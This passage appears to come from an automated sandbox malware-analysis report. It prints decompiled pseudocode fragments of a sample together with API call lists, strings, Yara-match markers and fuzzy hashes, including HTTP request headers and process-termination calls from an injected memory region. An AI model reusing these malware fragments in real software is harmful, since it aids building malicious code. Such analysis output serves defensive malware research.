				void* _t51;
				intOrPtr _t52;

				_t49 = _t51;
				_t52 = _t51 + 0xfffffff4;
				_t39 = __eax;
				if( *((short*)(__eax + 0x68)) == 0xffff) {
					return __eax;
				} else {
					_t14 =  *0x3d9f60; // 0x3db8f4
					_t17 =  *0x3d9f60; // 0x3db8f4
					_t19 =  *((intOrPtr*)( *_t17))(0xd,  *((intOrPtr*)( *_t14))(0xe, 1, 1, 1));
					_push(_t19);
					L003A5C18();
					_v8 = _t19;
					_push(_t49);
					_push(0x3d08c8);
					_push( *[fs:eax]);
					 *[fs:eax] = _t52;
					_t21 =  *0x3da208; // 0x3dbb20
					E003A5C50(_v8, E003B8188( *_t21,  *((short*)(__eax + 0x68))));
					_t26 =  *0x3da208; // 0x3dbb20
					E003A5C50(_v8, E003B8188( *_t26,  *((short*)(_t39 + 0x68))));
					_push(0);
					_push(0);
					_push(0);
					_push(_v8);
					L003A5C9C();
					_t8 =  &_v16; // 0x3c6f24
					_push(0);
					L003A5CAC();
					_push(_v12);
					_t10 =  &_v16; // 0x3c6f24
					_push( *_t10);
					_push(1);
					_push(_v8);
					L003A5C9C();
					_pop(_t47);
					 *[fs:eax] = _t47;
					_push(0x3d08cf);
					_t37 = _v8;
					_push(_t37);
					L003A5C20();
					return _t37;
				}
			}

0x003d0809
0x003d080b
0x003d080f
0x003d0816
0x003d08d3
0x003d081c
0x003d0824
0x003d0830
0x003d0837
0x003d0839
0x003d083a
0x003d083f
0x003d0844
0x003d0845
0x003d084a
0x003d084d
0x003d0854
0x003d0865
0x003d086e
0x003d087f
0x003d0884
0x003d0886
0x003d0888
0x003d088d
0x003d088e
0x003d0893
0x003d0897
0x003d0899
0x003d08a1
0x003d08a2
0x003d08a5
0x003d08a6
0x003d08ab
0x003d08ac
0x003d08b3
0x003d08b6
0x003d08b9
0x003d08be
0x003d08c1
0x003d08c2
0x003d08c7
0x003d08c7

APIs

7350908C.COMCTL32(00000000), ref: 003D083A

Part of subcall function 003A5C50: 73566EE7.COMCTL32(?,000000FF,00000000,003D086A,00000000,003D08C8,?,00000000), ref: 003A5C54

73566C88.COMCTL32(?,00000000,00000000,00000000,00000000,003D08C8,?,00000000), ref: 003D088E
73566CDC.COMCTL32(00000000,$o<,?,00000000,00000000,00000000,00000000,003D08C8,?,00000000), ref: 003D0899
73566C88.COMCTL32(?,00000001,$o<,?,00000000,$o<,?,00000000,00000000,00000000,00000000,003D08C8,?,00000000), ref: 003D08AC
73507CF1.COMCTL32(?,003D08CF,?,00000000,$o<,?,00000000,00000000,00000000,00000000,003D08C8,?,00000000), ref: 003D08C2

Strings

$o<, xrefs: 003D0893, 003D08A2, 003D0896, 003D08A5

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: 73566$735077350908
String ID: $o<
API String ID: 2392015379-219102401
Opcode ID: 105d7d622b681fc328e0ffe9b78c05b88e3db08b1455951d7116159c975db4a9
Instruction ID: 28a8702669a3b06578076954fd8900f7ce8553120a1528b6a65efe7dc26c9c1e
Opcode Fuzzy Hash: 105d7d622b681fc328e0ffe9b78c05b88e3db08b1455951d7116159c975db4a9
Instruction Fuzzy Hash: AD21F935A40704BFEB12EBA8DC82F5D73ECEB4AB10F500491FA04EB295DA71AD40D754

Uniqueness

Uniqueness Score: -1.00%

Function 0235D18B, Relevance: 10.6, APIs: 7, Instructions: 71filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FD5
Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FEE
Part of subcall function 02348FC3: GetCurrentThreadId.KERNEL32(?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02348FFB
Part of subcall function 02348FC3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02349007
Part of subcall function 02348FC3: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02349015
Part of subcall function 02348FC3: lstrcpy.KERNEL32(00000000), ref: 02349037

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0235D1CC
HeapFree.KERNEL32(00000000,00000000,?), ref: 0235D23F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FileTemp$PathTime$CreateCurrentFreeHeapNameSystemThreadlstrcpy
String ID:
API String ID: 2078930461-0
Opcode ID: 0c19766b0cd0c690e04f173b4bf4b908b3620894aa86788fdea1a125f3be5fc6
Instruction ID: ed161d71bd63163d5b276de91c08d1bd9d96bf14d1b2fac899f2738416d9e169
Opcode Fuzzy Hash: 0c19766b0cd0c690e04f173b4bf4b908b3620894aa86788fdea1a125f3be5fc6
Instruction Fuzzy Hash: 73113AB1980328BFD2312B20EC4DF6B7F5DEB45BA1F008954FA06951C1D7719869CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0039C732, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E0039C732(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr* _v12;
				long _v16;
				char _v20;
				char _v24;
				long _t22;
				char _t29;
				void* _t53;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t72;
				void* _t73;
				intOrPtr _t74;

				_t72 = _t73;
				_t74 = _t73 + 0xffffffec;
				_push(__esi);
				_push(__edi);
				_t53 = __eax;
				_t22 = GetCurrentThreadId();
				_t62 =  *0x3da22c; // 0x3db034
				if(_t22 !=  *_t62) {
					_v24 = GetCurrentThreadId();
					_v20 = 0;
					_t61 =  *0x3da0b0; // 0x393874
					E0038B6BC(_t53, _t61, 1, __edi, __esi, 0,  &_v24);
					E00383870();
				}
				if(_t53 <= 0) {
					E0039C70C();
				} else {
					E0039C718(_t53);
				}
				_v16 = 0;
				_push("0]%");
				L0038618C();
				_push(_t72);
				_push(0x39c8c2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v16 = InterlockedExchange(0x3d9404, _v16);
				_push(_t72);
				_push(0x39c8a3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				if(_v16 == 0 ||  *((intOrPtr*)(_v16 + 8)) <= 0) {
					_t29 = 0;
				} else {
					_t29 = 1;
				}
				_v5 = _t29;
				if(_v5 == 0) {
					L16:
					_pop(_t63);
					 *[fs:eax] = _t63;
					_push(E0039C8AA);
					return E003830FC(_v16);
				} else {
					if( *((intOrPtr*)(_v16 + 8)) > 0) {
						_v12 = E00396F34(_v16, 0);
						E00396E24(_v16, 0);
						L003862BC();
						 *[fs:eax] = _t74;
						 *[fs:eax] = _t74;
						 *((intOrPtr*)( *_v12 + 8))( *[fs:eax], _t72,  *[fs:eax], 0x39c86d, _t72, "0]%");
						_pop(_t66);
						 *[fs:eax] = _t66;
						_t67 = 0x39c83e;
						 *[fs:eax] = _t67;
						_push(E0039C874);
						_push("0]%");
						L0038618C();
						return 0;
					} else {
						goto L16;
					}
				}
			}

APIs

GetCurrentThreadId.KERNEL32 ref: 0039C73F
GetCurrentThreadId.KERNEL32 ref: 0039C74E
RtlEnterCriticalSection.KERNEL32(0]%), ref: 0039C793
InterlockedExchange.KERNEL32(003D9404,?), ref: 0039C7AF

Strings

0]%, xrefs: 0039C78E
t89, xrefs: 0039C760

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentThread$CriticalEnterExchangeInterlockedSection
String ID: 0]%$t89
API String ID: 2380408948-3087797607
Opcode ID: 7a09c8ed546826d222b7fe9d120ebdd17ead5aad0724d87f231f6e0cd33dcee0
Instruction ID: 2ac197d816c2e150faea17d7dc80a7ae48a1f6843d1b08c9043e02b29a8f9707
Opcode Fuzzy Hash: 7a09c8ed546826d222b7fe9d120ebdd17ead5aad0724d87f231f6e0cd33dcee0
Instruction Fuzzy Hash: 65219D31A24348AFEB03EBA4CC96BAAB7FCEB05700F5194A5F400D6692D3759E04CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02355B6F, Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 70stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,766F1499,00000000,?,0235D825,00000007,02348310,00000000,0236710C,00000000,00000000), ref: 02355B7E

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

Part of subcall function 02343E50: memset.NTDLL ref: 02343E5E
Part of subcall function 02343E50: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0234FAA6,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 02343E73
Part of subcall function 02343E50: CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,023413F9,?,?), ref: 02343E80

Part of subcall function 0234ACB5: lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?,?,00000000), ref: 0234ACC1
Part of subcall function 0234ACB5: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?), ref: 0234AD1F
Part of subcall function 0234ACB5: lstrcpy.KERNEL32(00000000,00000000), ref: 0234AD2F

lstrcpy.KERNEL32(00000038,00000000), ref: 02355BBB

Strings

User-Agent:, xrefs: 02355BEF
Host:, xrefs: 02355BDB
Accept-Encoding:, xrefs: 02355BE5
GET, xrefs: 02355BCF
Connection:, xrefs: 02355BF9

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CreateEventlstrcpylstrlen$AllocateHeapmemcpymemset
String ID: Accept-Encoding:$Connection:$GET$Host:$User-Agent:
API String ID: 2759563021-3467890120
Opcode ID: fa2970abab62987caf19ea24be5dd908c187ff89943712044788e1f53cc63d16
Instruction ID: 82d349ab7c33e56be0a2cb739386a02682accf91486c835b8983e7842e67bb04
Opcode Fuzzy Hash: fa2970abab62987caf19ea24be5dd908c187ff89943712044788e1f53cc63d16
Instruction Fuzzy Hash: 571182B2200729BBEB216F65EC88E7E77AEEF54714F808115FC0ED6100DB71E8159AB5

Uniqueness

Uniqueness Score: -1.00%

Function 003A5594, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E003A5594(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0x3db921 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00386354();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0x3db908; // 0x3a5594
					 *0x3db908 = E003A5190(5, _t23, _t26, _t27, _t29);
					_t24 =  *0x3db908(_t27, _t29);
				}
				return _t24;
			}

0x003a559d
0x003a55a0
0x003a55aa
0x003a55cf
0x003a55d7
0x003a55f7
0x003a55fc
0x003a5607
0x003a5612
0x003a561c
0x003a561d
0x003a561e
0x003a561f
0x003a5620
0x003a5621
0x003a562b
0x003a562d
0x003a5635
0x003a5636
0x003a5636
0x003a563b
0x003a563b
0x003a55ac
0x003a55b1
0x003a55be
0x003a55cb
0x003a55cb
0x003a5645

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 003A55EC
GetSystemMetrics.USER32 ref: 003A5601
GetSystemMetrics.USER32 ref: 003A560C
lstrcpy.KERNEL32 ref: 003A5636

Part of subcall function 003A5190: 70D9FFF6.KERNEL32(75400000,00000000,00000000,003A524F), ref: 003A5210

Strings

DISPLAY, xrefs: 003A562D
GetMonitorInfoA, xrefs: 003A55AC

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: DISPLAY$GetMonitorInfoA
API String ID: 1409579217-1370492664
Opcode ID: aaf228f28489ac761edc17a7a720b8c678450882c3f0eab3d179699ed9d9e4b4
Instruction ID: c0be204162286c93834b0e49d63bcefbb87c65730c4413853a927656b97d84db
Opcode Fuzzy Hash: aaf228f28489ac761edc17a7a720b8c678450882c3f0eab3d179699ed9d9e4b4
Instruction Fuzzy Hash: 4311E631602B049FD722DF619C84BA7B7FCEB1A720F41452AED56D7260D3B0A844CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00476AB0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00476AB0(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x47d27c; // 0x374a7d0
				_t1 = _t9 + 0x47e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E004721F1(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E004716F8(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E00479F9B(_t34, _t41, _a8);
						E004770FF(_t41);
						_t42 = E004744D9(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E004770FF(_t36);
							_t36 = _t42;
						}
						_t43 = E004780EE(_t36, _t33);
						if(_t43 != 0) {
							E004770FF(_t36);
							_t36 = _t43;
						}
					}
					E004770FF(_t28);
				}
				return _t36;
			}

0x00476ab0
0x00476ab3
0x00476ab4
0x00476abc
0x00476ac3
0x00476aca
0x00476ace
0x00476ad4
0x00476adb
0x00476ae0
0x00476af2
0x00476af6
0x00476afa
0x00476b00
0x00476b05
0x00476b15
0x00476b17
0x00476b2e
0x00476b32
0x00476b35
0x00476b3a
0x00476b3a
0x00476b43
0x00476b47
0x00476b4a
0x00476b4f
0x00476b4f
0x00476b47
0x00476b52
0x00476b52
0x00476b5d

APIs

Part of subcall function 004721F1: lstrlen.KERNEL32(00000000,00000000,00000000,754294D8,?,?,?,00476ACA,253D7325,00000000,00000000,754294D8,?,?,00478ED2,?), ref: 00472258
Part of subcall function 004721F1: sprintf.NTDLL ref: 00472279

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,754294D8,?,?,00478ED2,?,03BC97D8), ref: 00476ADB
lstrlen.KERNEL32(?,?,?,00478ED2,?,03BC97D8), ref: 00476AE3

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

strcpy.NTDLL ref: 00476AFA
lstrcat.KERNEL32(00000000,?), ref: 00476B05

Part of subcall function 00479F9B: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,00476B14,00000000,?,?,?,00478ED2,?,03BC97D8), ref: 00479FB2

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

StrTrimA.SHLWAPI(00000000,=), ref: 00476B22

Part of subcall function 004744D9: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,00476B2E,00000000,?,?,00478ED2,?,03BC97D8), ref: 004744E3
Part of subcall function 004744D9: _snprintf.NTDLL ref: 00474541

Strings

=, xrefs: 00476B1C

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 5798896dc4d8aa4c60095d475cfa3ce911eeced8be0f41044e359935d6d1b8bb
Instruction ID: 894ba9ae868bdf540fe4c1393d620809d93f1cf48ae6206897ad20cf6dc04ffa
Opcode Fuzzy Hash: 5798896dc4d8aa4c60095d475cfa3ce911eeced8be0f41044e359935d6d1b8bb
Instruction Fuzzy Hash: F511E7339015646B46127BBA9C85CEF365E9F85764305C06FF90CE7203CE2DDC0157A8

Uniqueness

Uniqueness Score: -1.00%

Function 02352BB4, Relevance: 10.6, APIs: 7, Instructions: 67threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32(?,?,0235D0D4), ref: 02352BDF
CloseHandle.KERNEL32 ref: 02352BEB
CloseHandle.KERNEL32(00000000), ref: 02352BFD
memset.NTDLL ref: 02352C14
memset.NTDLL ref: 02352C2B
memset.NTDLL ref: 02352C42
memset.NTDLL ref: 02352C59

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: memset$CloseHandle$SwitchThread
String ID:
API String ID: 3699883640-0
Opcode ID: 2989a7d0ca05db7656ccd7ee65e30dd2837ca8e2509ada780cfa1369c76161aa
Instruction ID: cead98253a1d65c0eabbac66709ab24d4c1d8d6211160a6831ba0451911ae644
Opcode Fuzzy Hash: 2989a7d0ca05db7656ccd7ee65e30dd2837ca8e2509ada780cfa1369c76161aa
Instruction Fuzzy Hash: 0F110AF0D90460B7D6313B259C0CD4FBA9DEFD2B08F8588A7F804A2109CF6455238BB4

Uniqueness

Uniqueness Score: -1.00%

Function 003A24C0, Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E003A24C0(int __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				void* _v20;
				struct tagRGBQUAD _v1044;
				int _t16;
				int _t37;
				intOrPtr _t44;
				void* _t46;
				void* _t49;
				void* _t51;
				intOrPtr _t52;

				_t16 = __eax;
				_t49 = _t51;
				_t52 = _t51 + 0xfffffbf0;
				_v8 = __edx;
				_t46 = __eax;
				if(__eax == 0 ||  *((short*)(__ecx + 0x26)) > 8) {
					L5:
					return _t16;
				} else {
					_t16 = E003A1324(_v8, 0xff,  &_v1044);
					_t37 = _t16;
					if(_t37 == 0) {
						goto L5;
					} else {
						_v12 = GetDC(0);
						_v16 = CreateCompatibleDC(_v12);
						_v20 = SelectObject(_v16, _t46);
						_push(_t49);
						_push(0x3a256f);
						_push( *[fs:eax]);
						 *[fs:eax] = _t52;
						SetDIBColorTable(_v16, 0, _t37,  &_v1044);
						_pop(_t44);
						 *[fs:eax] = _t44;
						_push(0x3a2576);
						SelectObject(_v16, _v20);
						DeleteDC(_v16);
						return ReleaseDC(0, _v12);
					}
				}
			}

0x003a24c0
0x003a24c1
0x003a24c3
0x003a24cb
0x003a24ce
0x003a24d2
0x003a2576
0x003a257b
0x003a24e3
0x003a24f1
0x003a24f6
0x003a24fa
0x00000000
0x003a24fc
0x003a2503
0x003a250f
0x003a251c
0x003a2521
0x003a2522
0x003a2527
0x003a252a
0x003a253b
0x003a2542
0x003a2545
0x003a2548
0x003a2555
0x003a255e
0x003a256e
0x003a256e
0x003a24fa

APIs

Part of subcall function 003A1324: GetObjectA.GDI32(?,00000004), ref: 003A133B
Part of subcall function 003A1324: GetPaletteEntries.GDI32(?,00000000,?,?), ref: 003A135E

GetDC.USER32(00000000), ref: 003A24FE
CreateCompatibleDC.GDI32(?), ref: 003A250A
SelectObject.GDI32(?), ref: 003A2517
SetDIBColorTable.GDI32(?,00000000,00000000,?), ref: 003A253B
SelectObject.GDI32(?,?), ref: 003A2555
DeleteDC.GDI32(?), ref: 003A255E
ReleaseDC.USER32(00000000,?), ref: 003A2569

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$Select$ColorCompatibleCreateDeleteEntriesPaletteReleaseTable
String ID:
API String ID: 4046155103-0
Opcode ID: a85e6d3d16dfc45d47abfd2573692474993ab7d8dee751cff602461975675312
Instruction ID: c422100229a3d229cda3ca082d77b81a75d1833953a729bf824f2ca8e8122d5d
Opcode Fuzzy Hash: a85e6d3d16dfc45d47abfd2573692474993ab7d8dee751cff602461975675312
Instruction Fuzzy Hash: E01133B5E40719ABDB12FBE8CC52AAEB7BCFF0A700F0048A5F514DB251D6759E408B50

Uniqueness

Uniqueness Score: -1.00%

Function 02345AE4, Relevance: 10.6, APIs: 7, Instructions: 62memorysynchronizationCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 02345B15
wcstombs.NTDLL ref: 02345B26

Part of subcall function 0235E4B5: StrChrA.SHLWAPI(?,0000002E), ref: 0235E4C7
Part of subcall function 0235E4B5: StrChrA.SHLWAPI(?,00000020), ref: 0235E4D6

OpenProcess.KERNEL32(00000001,00000000,?,00000000), ref: 02345B47
TerminateProcess.KERNEL32(00000000,00000000), ref: 02345B56
CloseHandle.KERNEL32(00000000), ref: 02345B5D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02345B6C
WaitForSingleObject.KERNEL32(00000000), ref: 02345B7C

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapProcess$AllocateCloseFreeHandleObjectOpenSingleTerminateWaitwcstombs
String ID:
API String ID: 417118235-0
Opcode ID: 9d6dd890f094ccbe3ebf1df91eb33a0ffa64d289759b8889576b52e5910052a0
Instruction ID: 67e73dc6b73d0f83925ceb78910a2d0adc653a60c865cd735a4bcbef92275188
Opcode Fuzzy Hash: 9d6dd890f094ccbe3ebf1df91eb33a0ffa64d289759b8889576b52e5910052a0
Instruction Fuzzy Hash: 1F11ECB1D40211BBDB109F54DD4CFAABBADEF10B49F408090FA01A6180CBB5E920CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0234EA31, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000000,?,?,?,?,02342743,?,00000000), ref: 0234EA4C
lstrlen.KERNEL32( | "%s" | %u,?,?,?,?,02342743,?,00000000), ref: 0234EA57
RtlAllocateHeap.NTDLL(00000000,?), ref: 0234EA68

Part of subcall function 02352C82: GetLocalTime.KERNEL32(00000000,00000000), ref: 02352C8C
Part of subcall function 02352C82: wsprintfA.USER32 ref: 02352CBF

wsprintfA.USER32 ref: 0234EA8B

Part of subcall function 023470BF: GetSystemTime.KERNEL32(?,00000000,00000000,00000000,?,0234EAB3,?,00000000,00000000,00000000,00000006,00000000), ref: 023470DD
Part of subcall function 023470BF: wsprintfA.USER32 ref: 023470FB

HeapFree.KERNEL32(00000000,00000000,?), ref: 0234EABC

Strings

| "%s" | %u, xrefs: 0234EA4E, 0234EA53, 0234EA86

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: wsprintf$HeapTimelstrlen$AllocateFreeLocalSystem
String ID: | "%s" | %u
API String ID: 3847261958-3278422759
Opcode ID: f58a97393888a1304c2e73266c61f2c64ced6b345752a0861a040c99e23b23b3
Instruction ID: 944167fa82384562d02605e085a796847b4a79804b357e08ecc6a9f4c6c5086c
Opcode Fuzzy Hash: f58a97393888a1304c2e73266c61f2c64ced6b345752a0861a040c99e23b23b3
Instruction Fuzzy Hash: 5011A0B1940228BFDB109F69DC48D6ABBBDFF44798F108462FD0997111DA31AE258BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0235D56C, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02357457: lstrlen.KERNEL32(00000000,00000000,?,00000000,02354CA8,00000000,00000000,?,?,?,023413F9,?,?,00000000), ref: 02357463

RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0235D595
memcpy.NTDLL(00000000,?,?), ref: 0235D5A8
RtlEnterCriticalSection.NTDLL(P)(), ref: 0235D5B9
RtlLeaveCriticalSection.NTDLL(P)(), ref: 0235D5CE
HeapFree.KERNEL32(00000000,00000000,?), ref: 0235D606

Strings

P)(, xrefs: 0235D5B3, 0235D5B8, 0235D5CD

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalHeapSection$AllocateEnterFreeLeavelstrlenmemcpy
String ID: P)(
API String ID: 2349942465-3792617651
Opcode ID: 8a0877d40c37295224eca3fc349b5cf35cc66c703c8b24bacf5d7f329104e2a1
Instruction ID: 2e4f22c591cd2ea3b031b8aec8b45c801ebd60eb2849664b795495f2a71601ab
Opcode Fuzzy Hash: 8a0877d40c37295224eca3fc349b5cf35cc66c703c8b24bacf5d7f329104e2a1
Instruction Fuzzy Hash: 2E11E5B6985220AFC3115F14EC4CD2BBBADEB46325B558969FD1693240CB319C15CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 003B81B0, Relevance: 10.6, APIs: 7, Instructions: 57
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E003B81B0(long __eax, void* __ecx, short __edx) {
				struct tagPOINT _v24;
				long _t7;
				long _t12;
				long _t19;
				void* _t21;
				struct HWND__* _t27;
				short _t28;
				void* _t30;
				struct tagPOINT* _t31;

				_t21 = __ecx;
				_t7 = __eax;
				_t31 = _t30 + 0xfffffff8;
				_t28 = __edx;
				_t19 = __eax;
				_t1 = _t19 + 0x44; // 0x0
				if(__edx ==  *_t1) {
					L6:
					 *((intOrPtr*)(_t19 + 0x48)) =  *((intOrPtr*)(_t19 + 0x48)) + 1;
				} else {
					 *((short*)(__eax + 0x44)) = __edx;
					if(__edx != 0) {
						L5:
						_t7 = SetCursor(E003B8188(_t19, _t28));
						goto L6;
					} else {
						GetCursorPos(_t31);
						_push(_v24.y);
						_t27 = WindowFromPoint(_v24);
						if(_t27 == 0) {
							goto L5;
						} else {
							_t12 = GetWindowThreadProcessId(_t27, 0);
							if(_t12 != GetCurrentThreadId()) {
								goto L5;
							} else {
								_t7 = SendMessageA(_t27, 0x20, _t27, E00386A44(SendMessageA(_t27, 0x84, 0, E00386AD0(_t31, _t21)), 0x200));
							}
						}
					}
				}
				return _t7;
			}

0x003b81b0
0x003b81b0
0x003b81b4
0x003b81b7
0x003b81b9
0x003b81bb
0x003b81bf
0x003b8234
0x003b8234
0x003b81c1
0x003b81c1
0x003b81c8
0x003b8224
0x003b822f
0x00000000
0x003b81ca
0x003b81cb
0x003b81d0
0x003b81dd
0x003b81e1
0x00000000
0x003b81e3
0x003b81e6
0x003b81f4
0x00000000
0x003b81f6
0x003b821d
0x003b821d
0x003b81f4
0x003b81e1
0x003b81c8
0x003b823d

APIs

GetCursorPos.USER32 ref: 003B81CB
WindowFromPoint.USER32 ref: 003B81D8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 003B81E6
GetCurrentThreadId.KERNEL32(00000000,00000000,?,?), ref: 003B81ED
SendMessageA.USER32 ref: 003B8206
